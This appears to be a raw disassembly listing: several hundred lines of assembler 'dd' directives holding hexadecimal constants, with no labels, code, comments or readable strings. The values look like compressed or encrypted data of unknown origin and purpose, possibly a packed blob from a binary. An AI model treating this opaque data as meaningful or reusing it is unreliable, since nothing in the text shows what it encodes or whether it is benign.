		dd 75008C44h, 0DFE5FF62h, 3E17327h, 0EDC161B7h,	0E811A972h
		dd 1C484353h, 5A298BC0h, 2500164Ah, 9ED17841h, 64DD667Dh
		dd 405EA92Fh, 82E8D938h, 45E00071h, 9E542F39h, 8C091DDCh
		dd 91330DF6h, 91A409F8h, 14850830h, 3E0F54A2h, 0E37C1AF6h
		dd 98FFC3B5h, 2E0A8B06h, 400C56E9h, 389B7217h, 16F73C05h
		dd 0C043AF95h, 7BDB719h, 8AF58848h, 7C51C0B5h, 0CA1FB6BAh
		dd 55854CE0h, 0F431FBECh, 91A642F2h, 52870080h,	120F013h
		dd 64AF5500h, 4AF2C884h, 52D3EC2Eh, 0A00D873h, 0B660958Fh
		dd 6A4804F9h, 1CF783B0h, 44AC9A93h, 0ABEF014Ch,	7ED80E5Bh
		dd 72845066h, 0EC9802F7h, 4C399660h, 430368h, 10CA0A4h
		dd 6E1D529Bh, 77ADA100h, 0BE091FBDh, 3FE0B1E7h,	9C984CA2h
		dd 0D110EA42h, 0C44F00AEh, 0A1FBCDB7h, 40851252h, 0B0104A41h
		dd 8F2C40F0h, 7207F70Fh, 5A97CA42h, 0D380C615h,	18E9ADBCh
		dd 705C952Bh, 0A9C0A71Eh, 6D5489E5h, 17711783h,	0DAD860EDh
		dd 590758BDh, 85246AC7h, 8EB07C90h, 9C235254h, 212D4501h
		dd 240EE230h, 2288A368h, 68064D32h, 0C0CC39C0h,	4D139A29h
		dd 0B905424Ch, 48427916h, 0C06BBF0Eh, 0BAE1A05Bh, 10F4A040h
		dd 0CF08C438h, 523C8111h, 50811550h, 99168AD4h,	0C1ADBB17h
		dd 8FD06827h, 642FE9ACh, 988A104Eh, 18E935BCh, 11876F41h
		dd 89B78E85h, 3EA0302Ch, 0FBF8008Bh, 850A3C3Bh,	565490C2h
		dd 7707C888h, 8301B554h, 7B102579h, 380E2284h, 0F47616F7h
		dd 30C8D379h, 79AAA3F8h, 0E16129C0h, 3D7DEECFh,	0AC8A30D1h
		dd 1684A125h, 0A0782014h, 73E90CB3h, 60EF34C4h,	6280D427h
		dd 0BA56A9A6h, 42F8909Ch, 0BDB7105Eh, 33ED9200h, 0CB6BDA94h
		dd 1F87B58h, 0FB7DAFFAh, 7073EC42h, 0BC00F22Eh,	831D241Eh
		dd 0C0709EF3h, 0FD467C90h, 0C4B3A278h, 1582B083h, 0D30BA0B7h
		dd 3F3E139Bh, 2C5D0066h, 836234D8h, 888AE829h, 0F887AD81h
		dd 0AFD10EDFh, 99F2C024h, 0B617C8h, 962AF5D5h, 556DB1B9h
		dd 0A841FE18h, 0B117763Fh, 63ACA157h, 9CAC7734h, 0CA20225Dh
		dd 2040BC57h, 7A045ECh,	0F8C45305h, 0F0228B09h,	0A4A30357h
		dd 410044F2h, 0AE6DC592h, 76DDD859h, 51EB0E3Fh,	8C633339h
		dd 80ACB46Eh, 8F84188h,	9938EC88h, 9E8790A0h, 24B6826h
		dd 67FB0h, 0BD2EB0ABh, 80942A1Ch, 6FE56D85h, 247C8C22h
		dd 0C3B7C07Ah, 930B7735h, 9982F4D0h, 3FBF2B4h, 0AC1E0329h
		dd 25C85D10h, 0F47616D3h, 56147009h, 84DC38FAh,	66AA008Eh
		dd 0D6DB8A5Ah, 12E2AEAh, 67CEE0B9h, 55C4C1F8h, 0B8BC88h
		dd 649018E2h, 0A187C8ECh, 282EEC99h, 1D8D9A80h,	5D7F2669h
		dd 0C25A5CB3h, 0E0C457B9h, 12C604A8h, 0A714400h, 5FF7DC5Eh
		dd 676494A8h, 877A10E4h, 841C802Ah, 67803CD1h, 69641841h
		dd 566E24FBh, 0E114FF8h, 95956D7Bh, 52FC08Ch, 0DB50AAh
		dd 0DF5E605Ah, 8BD97FCEh, 0F83EA126h, 0F0F30A40h, 52F40521h
		dd 0C468920Dh, 0C038B2F8h, 2E1E62EFh, 42223CBBh, 0A3DD7701h
		dd 0E8FE0C88h, 5C9389A5h, 93AD3C08h, 0F254633Ah, 74C05EC4h
		dd 0AFDECA3Ch, 1DAD1CB2h, 0A3F24963h, 0A043CC38h, 0F4017D00h
		dd 0DF7CBC56h, 636813D2h, 2F004411h, 0A4EA2379h, 0B8E0C24Fh
		dd 0EE3F50F7h, 1E196063h, 37D900AFh, 0CF294766h, 521446C1h
		dd 5C7E468h, 0C54B8514h, 14418088h, 0FB18A5FDh,	5837400h
		dd 4F25AE55h, 0F88BE516h, 2A247704h, 0BEC50D0h,	91849104h
		dd 516F7C12h, 40449420h, 80009730h, 0E8A33DE7h,	0A4A964h
		dd 8890FA4Ch, 271AD561h, 0EB52415h, 938610F4h, 47EBF8A0h
		dd 4468FF00h, 9059AC2h,	49B90848h, 19126795h, 0BB587090h
		dd 2E1A0186h, 0C3AD5C34h, 0E14BE910h, 91C1A559h, 6C3DA300h
		dd 10B95E32h, 0D91EBD80h, 16004342h, 0ED8C037Dh, 5AB856Eh
		dd 0B03211AEh, 0F87082E0h, 0D4BA6C58h, 0AC835101h, 0ADB8F787h
		dd 0CC4EE2h, 0C3B76237h, 0BC87796Ch, 940F404h, 9C8806CCh
		dd 4E84FEB4h, 1C44401Fh, 0BEB870FAh, 7BA76D16h,	71B71022h
		dd 3C801314h, 0C98C8350h, 0F4E8F251h, 4A01AA08h, 98B3C170h
		dd 198133FEh, 8F89E694h, 88C50B1h, 49C1011Ah, 0C25BFCE4h
		dd 0C4CCF17Bh, 0E801E5D4h, 0E6454D35h, 0AC62B5DDh, 47EF0178h
		dd 14583F6Eh, 43190168h, 7D234980h, 8CFD443Ch, 807EAF00h
		dd 0F673E3E8h, 0E6A116A6h, 5978BC12h, 18782270h, 0F6A7FCE9h
		dd 0EB02A57Eh, 0F62A19E1h, 0DC7137h, 9A42F7CCh,	0D42CF183h
		dd 893AFC85h, 0E6A85E6Eh, 0A36003Ch, 780382FCh,	0AFECD7C4h
		dd 3948B70Ch, 0A8B6205Ah, 70ED0AE8h, 0DFDA02C3h, 69037AADh
		dd 69577469h, 0AF370084h, 6C9C91D3h, 303802D1h,	0C8078A5Dh
		dd 850030D1h, 19F9110h,	37EC7F6Dh, 0F041CC79h, 71F772ABh
		dd 5314D812h, 230FA021h, 68E048h, 65CB45B3h, 34C693F3h
		dd 0AE0DA300h, 8A8DB0C3h
		dd 49E1D66Fh, 88447B80h, 953E5F3Eh, 7D1057BCh, 2EC7BE04h
		dd 0E8887518h, 3AAD4409h, 3F1922h, 4696A161h, 219C44AAh
		dd 6C10E0B9h, 27713F80h, 0B6252467h, 0E748A01Ah, 756F376h
		dd 0F617122Eh, 97F950E1h, 9F05D5C5h, 0D5067B1h,	0BC21A425h
		dd 0BAE5A931h, 74FB9DCh, 511DC4E3h, 0A084C0C2h,	0C9E01250h
		dd 22649D49h, 0CE860433h, 0D5ECFA04h, 0C1DC88CCh, 34C81494h
		dd 48378683h, 2E54F8B5h, 0EDE70511h, 800FD462h,	7EB96555h
		dd 0BC6A5726h, 0ED01FD89h, 0B6788058h, 2AAE5837h, 8018853Fh
		dd 0C8FD3AFFh, 4C945FCCh, 0CC441F73h, 50DF5580h, 19C5203Dh
		dd 0B9A04008h, 0F52E1BA0h, 1E520C03h, 0CEDEA99h, 428C4181h
		dd 0A0096729h, 101E39E9h, 0F62E3334h, 0AF261F29h, 12D79ECBh
		dd 961071D6h, 9FC02C04h, 7B75F622h, 62A4263Eh, 0F0806918h
		dd 0F8A02EDBh, 7B925894h, 26ECE09Ch, 6F3C370Ah,	88BB1991h
		dd 0CEE2B9F9h, 0C2340078h, 7A54AFE8h, 0B20115CAh, 2CC1232Fh
		dd 0C380494h, 3893FF80h, 0FDED9C17h, 1537D099h,	47E3E700h
		dd 0EA160A49h, 56F826E5h, 90104014h, 59029953h,	0E7C1744Ah
		dd 7EC7341h, 0B37635DAh, 86F3A412h, 0C030B04Eh,	0C03124EDh
		dd 2B38E781h, 0AD09355Bh, 4632907Ch, 60B65AE4h,	0AD4431D0h
		dd 0B7C5AB00h, 8ECA133Fh, 662601B2h, 59802B94h,	0FCCC2548h
		dd 0E4A40683h, 4B172A78h, 0C89428A8h, 0A0127CE6h, 0ED0CABBh
		dd 0E01FFC20h, 9B86B246h, 3E5E091Bh, 9018676Ch,	4F4838A7h
		dd 0D65C159Bh, 0C0B4FD8h, 0D5189019h, 6E3100FEh, 9F928087h
		dd 2D009469h, 890B25ECh, 4801AF77h, 305B4097h, 9691593Ch
		dd 0BAF94227h, 0CA4C84DCh, 0C7259CB3h, 1361BC20h, 0FAE6EBECh
		dd 5C338B0Bh, 0E0DC8006h, 0BA6C950h, 4F8FB8CAh,	0F846AC29h
		dd 0BADC8A41h, 60FE3Eh,	75C2283Dh, 0B3454EDDh, 1D41B43Ah
		dd 4F852CFEh, 6C80DA0Ah, 1801BF6h, 42BF7EEAh, 9F289D45h
		dd 5E9DBD29h, 66CDAA03h, 7642C00Ah, 0F0B0417Eh,	9C6A1DDh
		dd 0F8304006h, 0C1BC0089h, 85D27780h, 0C00E6DEh, 0CD4F7465h
		dd 7B9E6E7Eh, 0CA2710EEh, 82706010h, 0F105FF39h, 0A0D5D1F0h
		dd 0C6783C0Ch, 614B5989h, 0B682E106h, 330B933h,	4E6D9AA2h
		dd 0F0044068h, 0D0AAB4B0h, 46339D04h, 11C8C9BDh, 7CF627CCh
		dd 0B55968A0h, 0DF271884h, 3A6B2105h, 405C3E30h, 0DCD0A2h
		dd 0D2F12E38h, 6497C1DFh, 0AA80A654h, 3072BB22h, 4C419598h
		dd 0C606E080h, 501BD81Ah, 183E7C80h, 999A555Eh,	0A100E4F8h
		dd 0E80406B8h, 1590E0Ah, 422E1869h, 0EC16888Ch,	0AC0CDD45h
		dd 71D004CAh, 41276048h, 540C8230h, 7907300h, 0E63C789Ch
		dd 88961431h, 0DD1E7C05h, 0A81101AEh, 256B5149h, 89DCF408h
		dd 8D18228h, 7459DA18h,	0EE5776C9h, 8A2F004Fh, 2A507806h
		dd 440C16B8h, 814E556Bh, 26310082h, 809E01CBh, 0F102380Eh
		dd 0B7CCFF74h, 96C4A6ADh, 0AC542A51h, 0F14818B4h, 0A4634044h
		dd 39C4FC00h, 2F095C32h, 299301A8h, 6926CEB1h, 6D5C2040h
		dd 944700E9h, 12EC7F52h, 0C832D9h, 0D00FFA26h, 2E074BE7h
		dd 7E0D8707h, 0E0AD9131h, 0FD256CE0h, 423818BCh, 4DD2C781h
		dd 42B58380h, 7F218F10h, 39808591h, 414718E7h, 0B80ABBAEh
		dd 24116DF5h, 95A14130h, 30866310h, 85F86720h, 3900DE99h
		dd 7721E289h, 602F56F0h, 6C0351D4h, 68021D75h, 9EF3604Ch
		dd 65E02008h, 0C1019706h, 1573E622h, 90889360h,	6C858790h
		dd 5404E12Dh, 115893A3h, 0AC613090h, 47C12D69h,	21809531h
		dd 74DFA98Dh, 7200814Eh, 6C7338ABh, 0C6F4BFAh, 4C0EF9A5h
		dd 60309ED0h, 0F167710Fh, 9AD00372h, 6AB54D05h,	868C9111h
		dd 0BC6D0F08h, 8D441180h, 1D394256h, 2EC6596h, 127ADAA2h
		dd 1CC08DACh, 1C916F9h,	169140B4h, 41090A9Bh, 0B918E63Ch
		dd 21220330h, 18179DF7h, 0D19A9E10h, 7300C0A1h,	0BD5C126Dh
		dd 71B8D2h, 58F9B6D4h, 0EAA97BFBh, 9E3029D8h, 7E39C0A3h
		dd 0E2ED2216h, 0BAA719C8h, 2B0F8F00h, 5B2DE3F9h, 810DAC39h
		dd 0C1D620A1h, 0C18861DEh, 7F898F22h, 1E143389h, 3EB60F20h
		dd 951183BEh, 9B6201DAh, 10870126h, 2302BF9h, 0E730E4Ah
		dd 860A3A9Eh, 23E512ACh, 5EC48D5Ch, 67B37746h, 19952A10h
		dd 92170E90h, 554F8C75h, 0B4AEC2C0h, 9A039693h,	4331B0ECh
		dd 0F22818A8h, 554C496Ah, 0FFE22C2Ch, 0C05DF60Eh, 0F3648F81h
		dd 0ED9C0038h, 91A6DBDCh, 64A9150Eh, 92400076h,	0F79D1966h
		dd 61108106h, 219C14E8h, 528385D4h, 0EAE0158Ch,	37ECBB4Dh
		dd 0D5145200h, 6592C42Bh, 21D7005Eh, 4C0D89F0h,	6077F358h
		dd 0DB690A0Ah, 0A829744Dh, 0C6B909h, 4A36F64Bh,	96870046h
		dd 71C21AC1h, 0F0A8E4F0h, 12220D40h, 488548D4h,	8FA81780h
		dd 74172ED1h, 14007D22h, 2D23DCEEh, 5E941C6Eh, 438C1266h
		dd 15F99EE4h, 0D8F2E11Dh, 94D10020h, 85670E46h,	6900E638h
		dd 0D0526B2Fh, 241C8D8Eh, 9124DC3Bh, 98600A5h, 35AAB974h
		dd 0B60E2477h, 0C22283A4h, 5900DFEFh, 0CD80301Ch, 3995FBh
		dd 7EFF86E8h, 8EF584E5h, 993CDD02h, 0A1E65FEAh,	0EC905BB8h
		dd 0A6E9E00h, 0F4A39491h, 59101580h, 1D2E90FAh,	42AFB3Bh
		dd 0D285D30Fh, 992C866Ch, 87F0A87Bh, 8A393A6Dh,	3A037F03h
		dd 613CCC9Ah, 13DDBE13h, 10434B49h, 0B0C56C0Dh,	0CE0C55E2h
		dd 0A0076781h, 0FF10140h, 1728D47Eh, 902A31DFh,	89C44h
		dd 9E4EF55h, 2A517333h,	0AAE7A13Ah, 380194B8h, 165835C1h
		dd 0B19D0E94h, 0C318C0B4h, 5DDC1C42h, 35EC737Bh, 0B1AF512h
		dd 0B11BCC44h, 40DA9544h, 3DAF2EB3h, 736A0052h,	863B8D06h
		dd 607D9835h, 9F30D5B0h, 1E1799A2h, 0EB9901BCh,	40641267h
		dd 122033E5h, 702070E7h, 8A562Eh, 466C1393h, 3677407Bh
		dd 1841F500h, 0CE2F55A8h, 9A117944h, 8952A98h, 0D53A3AD8h
		dd 0A3307086h, 3922B96Bh, 0F2E110ECh, 0D7007C81h, 0C6DA57FBh
		dd 53B6170h, 6C38B71Ah,	4B944A9Bh, 0CA2646A8h, 0BDA4F400h
		dd 1668AFACh, 6F6E183Eh, 0B9F859B5h, 0B3CA4900h, 0EB4688B2h
		dd 2C180260h, 0D70272Dh, 4E13E048h, 6491EDECh, 413B9E0Dh
		dd 14306AE1h, 7EA200D2h, 0D06655DDh, 0E1C1E384h, 0B51310E1h
		dd 20B43996h, 0BBCF3A74h, 0A0386012h, 8F016422h, 44375214h
		dd 82A7EFC2h, 2212FF3Ch, 88A069F2h, 7CAAD23Ah, 78B62124h
		dd 1F90ECC7h, 360F762h,	5EFDFE96h, 980B5AAAh, 1513640h
		dd 735397B8h, 6E704824h, 0B5E0D979h, 6F7635BAh,	0B1362007h
		dd 6402B029h, 35C447Dh,	38411622h, 91A178AEh, 0C903623h
		dd 0B9D5EC10h, 0EF420Dh, 0B7D3F3E8h, 1471BEh, 47051D7h
		dd 0DE27C76Ch, 0CB8C4D48h, 91B80EE7h, 22B97B02h, 34C16AEAh
		dd 0FC8C1486h, 0A33706C8h, 4A275EB2h, 0C9339C00h, 2CA59FD9h
		dd 0FDEE3443h, 0CA40C428h, 71AA30D4h, 1DD5670Dh, 6646DC18h
		dd 0ADFB605Ch, 25148475h, 84D87F76h, 0A148B6E5h, 4E09F86Ah
		dd 0F0029E4h, 44BDA8C0h, 0E2924083h, 9EA29h, 8D19159Fh
		dd 1327F5A7h, 85E6F202h, 60111E49h, 49E4407Ch, 0F2E8816h
		dd 48C4E810h, 0A63E88B8h, 11129CACh, 9951428h, 0C72A59E6h
		dd 6F064CA0h, 0CA0B70A0h, 10927FA6h, 180B77D8h,	1165EF4Ch
		dd 0F7013F71h, 4B20D228h, 8051BB6Bh, 7011D5EAh,	3C9980BDh
		dd 0A5AACD33h, 0DDCE0057h, 5610482Eh, 0E6E21F20h, 1294AB4Dh
		dd 950E8741h, 6D818076h
		dd 0B8302E54h, 5290A464h, 4570B47Dh, 6C099EB5h,	2F5868A6h
		dd 0AAF27Ch, 0DB807316h, 239E0A97h, 8EBA0802h, 0AE86E563h
		dd 0B0B708C8h, 38B97C68h, 8522D901h, 92917E18h,	1040F9A8h
		dd 1CCD82Fh, 7E140367h,	0A9952838h, 9458F83Bh, 0F3DAB5C0h
		dd 0D700D550h, 1E3335DCh, 38F25B0Bh, 8782FAF4h,	4E7A3846h
		dd 7844B844h, 0F0B0FDh,	1825B57h, 436FF29Ch, 5F885954h
		dd 0A542DA02h, 0A56B202Eh, 5088828Ch, 8F3E1E29h, 7498981h
		dd 8A3F3C10h, 0DA6B7AECh, 104C0AC1h, 1412F762h,	0B9D44104h
		dd 2013CF1Eh, 4D066680h, 0B4B19B09h, 6CDC8122h,	0C0488025h
		dd 0E30084D7h, 0B41B9470h, 12E3473h, 0CFDD1C69h, 88DEDA3Eh
		dd 0A623F479h, 6AAEBFFCh, 73ACE3E0h, 28095F88h,	31F92200h
		dd 0C17792F0h, 0CB8D09FEh, 0F4A083EDh, 813A1617h, 8FCEE0A0h
		dd 64188426h, 3DF7E853h, 0F93A008Bh, 99DEED44h,	6F41157Fh
		dd 90189090h, 505CC0E4h, 0CB4DECh, 0E59FC514h, 2085DEFBh
		dd 2697E448h, 0B48954A4h, 224C3178h, 924020D6h,	0F46D9D2Bh
		dd 78326028h, 9CD3D481h, 0CF26D1E1h, 0EC1B4111h, 6AF07824h
		dd 95443CFCh, 20804096h, 0E3FFB568h, 60CB0A6Eh,	81E4DDEFh
		dd 7A56D60Bh, 0E813DC26h, 0FD0E6200h, 0F2F5A105h, 5C0B49ECh
		dd 0EE6E6C00h, 0D77EA83Dh, 5D2C2048h, 94E5266Ch, 0B81120AEh
		dd 914E1601h, 0C0471794h, 1094CA9Fh, 8A07FC88h,	12300E76h
		dd 6DC8D024h, 741A0DE9h, 4169223Fh, 0EFCC43B5h,	95609631h
		dd 0E008091h, 2734F5ABh, 204468Ah, 8379CB12h, 861404h
		dd 0A326DCE7h, 70090382h, 3243729Eh, 9288C9DCh,	8225760h
		dd 471220B5h, 2F065D0Eh, 1814C573h, 0C4A618h, 83C2B3D8h
		dd 67C41FA8h, 98364905h, 0F048EC95h, 901849BDh,	0A87DB1B2h
		dd 3EC1577h, 2C446E48h,	0D4640067h, 270094CAh, 0E230111Fh
		dd 0F00C815h, 8B529299h, 0DDC91Ah, 4B871D06h, 0B2389DA0h
		dd 1062A096h, 13D85AE9h, 6161DC0Dh, 388F7F08h, 64258888h
		dd 5956190h, 4225299Fh,	2FCFF9EAh, 3F3AC48h, 0E73C8482h
		dd 36EF4D42h, 0B61FA070h, 0DB0306A1h, 0F0803ECEh, 3824AA98h
		dd 16A936AEh, 5FF101F0h, 97CDE9D3h, 10462211h, 2E89A99Eh
		dd 79B894Dh, 81905A13h,	0EB4FF773h, 0AF88A9E0h,	0F14CD914h
		dd 11F05DF8h, 0F2181F62h, 493DD1C2h, 1ED2331Fh,	9A2CA280h
		dd 11A6809h, 5659874Fh,	0EA3E5337h, 328584A5h, 187B2690h
		dd 0E46B8B43h, 0DF940156h, 22E5CA34h, 707493E4h, 0A2888Ch
		dd 7DDB41A1h, 0DD04595Fh, 8C318601h, 0D4301869h, 83BA7001h
		dd 472EA871h, 0F9EBA0D2h, 655726EAh, 0B5486048h, 15009066h
		dd 0D9B84DC4h, 2FFD289h, 6C247851h, 0E471E728h,	2E637681h
		dd 6C25A6D4h, 9B05F9F4h, 0C8B613BCh, 2A4E6C24h,	148ADC22h
		dd 0FF4E8498h, 80EF3C46h, 6E8F0021h, 42A1E877h,	0B70E2E06h
		dd 96645EEh, 0F998E950h, 0E878E073h, 1461E9ECh,	5D03442Dh
		dd 0AE597F9Eh, 0B860DA0h, 4E41B500h, 8CC81DA2h,	6120A094h
		dd 0AC700506h, 30A384AFh, 50860EB4h, 12876E00h,	543975EBh
		dd 4118014Dh, 67C02B59h, 3E8C484Bh, 7C50EC16h, 0E980A71Dh
		dd 8F414A6Bh, 0B52C0340h, 77F01CE6h, 7FE2D3A8h,	0B74234B8h
		dd 80142Ah, 5CCB6BB1h, 98D4ACE9h, 8B74CF3Fh, 5F9E8935h
		dd 9318B10Ah, 9CC213E5h, 8B014C84h, 16F8BB05h, 3891B4D5h
		dd 6E3B04BDh, 1CC8B89Bh, 35CA0EAh, 0AAC0092Eh, 70C83B9Eh
		dd 851AE682h, 64A109C3h, 833F00E8h, 0CB446B24h,	0F644113h
		dd 404093C8h, 6B6A333Eh, 9D9F0A18h, 39FC61h, 609CBD3h
		dd 0E3ECA92Bh, 0AFC51C02h, 0C01B9BA8h, 6D398919h, 2969A825h
		dd 597880D0h, 4F06422h,	0E29D8F03h, 0B924C055h,	2D00BB12h
		dd 5E643EFh, 7E5E387Dh,	0E280024Ch, 0DBD789E4h,	670048ECh
		dd 41AF6313h, 545F376Ah, 392CC30h, 76E2A712h, 10C0AB17h
		dd 0C1C59BECh, 4C120A9Eh, 0BBB79008h, 0DC36F03Ah, 6E275890h
		dd 3D24108Bh, 0BD90056h, 0FB592892h, 3002AEDCh,	151825F7h
		dd 5A8D109h, 59FC3h, 906B9299h,	0F902BF18h, 86B9717Ah
		dd 6FD0C0A3h, 0E7A8A993h, 7913020h, 3C7CFE15h, 684C027Eh
		dd 9FF3F8C1h, 77DF3820h, 6600A9ACh, 6AB6CCF9h, 40AC0B1Dh
		dd 4C689E60h, 2C7B98E3h, 0FD53D800h, 93865AD0h,	56143831h
		dd 0E1461605h, 5F9C8C6Ah, 0EFBE700h, 71066EA4h,	0A080529h
		dd 0C2F0AEE6h, 1A209D70h, 1C987A68h, 800340CCh,	0A4DB1F25h
		dd 0F900DA17h, 0D42F9EC5h, 0E4450D77h, 0B448FBE5h, 820A4436h
		dd 7E6D8007h, 9819B8A3h, 0AFD694h, 58F4D8Ah, 0D5153DACh
		dd 7974A148h, 0B19E2740h, 0B2230788h, 63611EAEh, 30CC57C9h
		dd 0AC00BD34h, 8E16375Bh, 26338147h, 40B8940Ch,	6C79434Fh
		dd 0DE2DD4E6h, 24CC0042h, 4EAA6A47h, 40B837E0h,	38E37F3Bh
		dd 0F88F9502h, 72EFAB63h, 627590h, 934892CBh, 2A03FE81h
		dd 0CD0BB009h, 0F8704B70h, 0F3850DFh, 0AED4EA8Eh, 9C7D3F00h
		dd 7772092Ah, 2966DE00h, 9340A3B6h, 61009438h, 0DF19B0Eh
		dd 0FF7E30FCh, 16863468h, 0E70C70DCh, 19DA8D7Fh, 28384E6Ch
		dd 85000370h, 0BA93BBF3h, 32231EBh, 5095B110h, 5BA09D84h
		dd 7B71EFF9h, 0B0AC1B14h, 961688D8h, 0CA348867h, 0EA71CC00h
		dd 0EC921F11h, 905F0B5Bh, 5C811638h, 8874ADCBh,	41057341h
		dd 897E1303h, 90941526h, 8853C0h, 172D98E2h, 8426BC3Bh
		dd 5D364300h, 7109F9ECh, 350D1993h, 11E1D87Bh, 0B862947Fh
		dd 493E5050h, 2862D40Ah, 7822EC26h, 4344E161h, 2B911C52h
		dd 41E7C804h, 0FE0592E5h, 9E3840C2h, 0B93363FCh, 0F84DE810h
		dd 2E26C0B8h, 17BBFA2h,	0D3093637h, 109E9DB1h, 38C1575Ch
		dd 56BC489Ah, 0CDEE04F8h, 8492741Dh, 0B2A4A4B8h, 0E4DEF601h
		dd 129427C1h, 0D287822h, 72830094h, 0D6CBC0EAh,	16F6C94Dh
		dd 0EFC8E004h, 7CC6BA52h, 934728A0h, 100844D4h,	0FB6EA22h
		dd 1689B7B5h, 16C4B08Ah, 4D18D89Dh, 6994FC00h, 1981A33h
		dd 0C521074Ch, 0CB7E18D9h, 246C6090h, 40F9ED60h, 289D2867h
		dd 22381F35h, 9C94A9EFh, 9F993E40h, 0D8CC004Eh,	0FBC1D5CDh
		dd 0F5396C8Fh, 7E239967h, 343D9529h, 6387C13Fh,	50F3A3CAh
		dd 22C45B1Ah, 0B67D2500h, 0E882E2D6h, 1270C2ECh, 0C8B8E741h
		dd 0F570FB4Fh, 4CC1C00h, 0E8B69A83h, 9B72C2Ch, 80AA0934h
		dd 10867049h, 46E3722h,	0F49E920Dh, 0CC8C535Ah,	0C57312B5h
		dd 2700C8C1h, 1E00C770h, 42A26326h, 5CD6E86Eh, 6C3E6BAEh
		dd 7F297631h, 4D42386h,	6D103663h, 253C08A2h, 609E8D0Bh
		dd 0C065CCE9h, 0EF3C4C4Fh, 0F7506F28h, 0D6054C90h, 7732036Ch
		dd 66BEACBBh, 76F5021h,	0E0E2279Eh, 91869D38h, 0A0941809h
		dd 6757823Ch, 24C40FBh,	777030FFh, 698C55A1h, 0CC24807Ch
		dd 601CDCE8h, 6A8B851Dh, 207F8E28h, 407E20C7h, 0D89335h
		dd 4A543774h, 9A00FCF7h, 60F41B4Eh, 1514FD99h, 5C7376B6h
		dd 4DED0900h, 333BC571h, 230F0B13h, 11B8A810h, 44708716h
		dd 0BB6070A6h, 8E4A92A1h, 0FA540025h, 2986F74Bh, 59C47059h
		dd 678146ADh, 98212AC5h, 199E8EF1h, 0BDBB002Eh,	3B9229F0h
		dd 0AA19F501h, 0E377432Fh, 981DCC33h, 0B62043A9h, 0CD88459Ah
		dd 7C0B9F7Fh, 7EA8C93h,	3EE0C509h, 4CD5914Ch, 6D820C19h
		dd 0EA228614h, 22182DA5h, 0D2941FD4h, 86113426h, 0E10D0F00h
		dd 7218E37Bh, 54CF8A16h
		dd 0A1936402h, 0A2D8C14Dh, 910AC010h, 0E23F7002h, 610CF4FAh
		dd 0A039EFD3h, 0B9212D01h, 507E50E6h, 7B782230h, 70A8E7E8h
		dd 5701C260h, 0A1EC0D7Ch, 0D1D82D39h, 47960904h, 51A5D440h
		dd 0F300C0B8h, 9494E8A0h, 1F68C0C7h, 40786E40h,	0CD972679h
		dd 839CF600h, 677706C2h, 9B7503BEh, 991C8027h, 0A0CCDDA0h
		dd 8303FC9Eh, 0EB933C14h, 0B8610170h, 389F96C5h, 5F48C067h
		dd 0A3C1B309h, 0E738997Fh, 6ADC302Bh, 5B514750h, 0B786C814h
		dd 0E0729E81h, 1A5FFB00h, 0FE5330C1h, 2A7A6A00h, 476DA3A4h
		dd 382395E8h, 19C03294h, 2C00856Ah, 92A61AB3h, 0D1C7B6h
		dd 5F9FDFC1h, 0D033ED7h, 6AC238h, 9C94E1ECh, 357FA0h, 3C40B8D3h
		dd 6AE62137h, 38B4173Bh, 10D4D807h, 820B934Ch, 4018116Ch
		dd 6F226E0Ch, 22F780B4h, 3777014Ch, 51945773h, 81483993h
		dd 60AF46Ch, 21D0C480h,	0E94C6F8Fh, 24310800h, 0A81A293Bh
		dd 9C1C9189h, 0CA76C0EAh, 0F99C7BDEh, 34B5FC07h, 22649D6Eh
		dd 4254B488h, 0A17F22D4h, 1AFCB11Ah, 13C1138Bh,	0BF00BA46h
		dd 0F94AE6F0h, 44E0B847h, 3A1403B8h, 2444E2h, 0C791E44Dh
		dd 0F8E72972h, 23513C20h, 0CE9AC387h, 1DDE3192h, 8E2860A6h
		dd 1B11DC42h, 0B4952C84h, 0A9899340h, 183F002Dh, 77A6DB6Dh
		dd 1D0026E2h, 1AF6D6CEh, 4E6829h, 4A16F349h, 6317E87h
		dd 0CEEB001h, 0BB72863Ah, 8C0C7461h, 0BC290751h, 0A0DCFC8Ch
		dd 91743667h, 0AF0AEA03h, 0D00DD410h, 0DABFC6h,	1244407Fh
		dd 9D9BC14Ch, 6C016E16h, 78050824h, 5888EF0Dh, 9AC53DB9h
		dd 2083D300h, 0B3FDDE9h, 2B7D417Fh, 5004AC90h, 1887F80h
		dd 9E131CBDh, 0D014276Eh, 23212AE6h, 9C580FF8h,	1945D6Ch
		dd 0AC69C738h, 1920153Bh, 80790C21h, 0F560163Ch, 3DAA6300h
		dd 89BB788h, 0D10D0AE6h, 7C4B8Ah, 10673EE3h, 8975A49Fh
		dd 0F2335813h, 0FB90C0D7h, 1B2BDh, 377FC576h, 0C07D6E15h
		dd 0FA71A614h, 0CDAA03A8h, 467A3992h, 0D324D4B0h, 26AF0041h
		dd 1124D9Bh, 57A81801h,	0BB0ECBEh, 0A07F3CCh, 0CFA92CAh
		dd 237092B4h, 84C0B680h, 2102EF46h, 829439C7h, 9854C23Ah
		dd 7784280h, 0A9E7CBAAh, 0E94E9099h, 624462Fh, 3026C13h
		dd 0CB367901h, 599DE4Ch, 0E6CC71EFh, 850C1B7h, 7976120Ah
		dd 113A8018h, 0EB7F4FABh, 9CD99B00h, 7103948Dh,	7989116Ch
		dd 0F744C2EFh, 69846985h, 0E5EA9017h, 0E6FA8B23h, 182731C0h
		dd 22CFEFFh, 4115EE4Ah,	9CCC1091h, 0C3B8CA00h, 0D3220EB7h
		dd 993030Fh, 0FBA331CFh, 0CD916CB0h, 86341558h,	0B0891173h
		dd 21760098h, 0D99F6D8Ah, 0B381B07h, 892A0547h,	38F48E7Fh
		dd 0F6C78FDh, 2418C969h, 0F2104616h, 980021BEh,	0B4E7DABCh
		dd 4CEC348Ah, 6002907Fh, 0AD6675F1h, 0F300F059h, 0B6E6A056h
		dd 927E5Ch, 422AF911h, 1991BA3Ch, 6AE40B04h, 10C12F38h
		dd 0E062A7EAh, 8091DA81h, 0D325E855h, 2ECAAF09h, 78208486h
		dd 90075884h, 208F069Ch, 586D22CDh, 27F4B842h, 5CA90110h
		dd 6C1B58CCh, 0A061EC25h, 0AA020592h, 9DF01898h, 507197h
		dd 207F823Dh, 8E62A130h, 740AAB3Bh, 10904D7Bh, 25243B22h
		dd 0DC209E67h, 0D83C01B5h, 324FA101h, 490A7CC4h, 118F34F8h
		dd 28B63E10h, 0CC839C18h, 324B6AC9h, 3BFF3D90h,	0E49EFFF2h
		dd 5041502Eh, 78F402A9h, 8B9B0095h, 7C136E8Fh, 0F324674Bh
		dd 0E402470h, 3FF578B4h, 404F5CEAh, 3DCC0620h, 0FBA03236h
